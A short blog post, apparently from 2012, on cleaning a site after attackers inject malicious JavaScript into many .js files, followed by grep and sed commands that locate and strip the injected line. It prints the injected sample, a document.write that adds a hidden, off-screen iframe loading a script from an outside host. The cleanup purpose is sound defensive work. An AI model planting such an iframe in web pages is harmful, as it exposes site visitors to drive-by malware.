2012年12月20日 星期四

How To Remove A Malicious Javascript Code From Multiple Files

How To Remove A Malicious Javascript Code From Multiple Files

Sample code injected to .js files:

;document.write('<iframe width="11" height="11" style="width:100px;height:100px;position:absolute;left:-100px;top:0;" src="http://xbkftbmbw.freewww.info/tgewogjqog9.cgi?4"></iframe>');

First step:

# grep --color=auto "xbkftbmbw.freewww.info" -R -c * | grep ":1" | awk -F\: '{print $1}' > filelist

Second step:

# cat filelist |
  while read line; do
     sed -i 's/;document.*bkftbmbw.*<\/iframe>...//g' "$line";
  done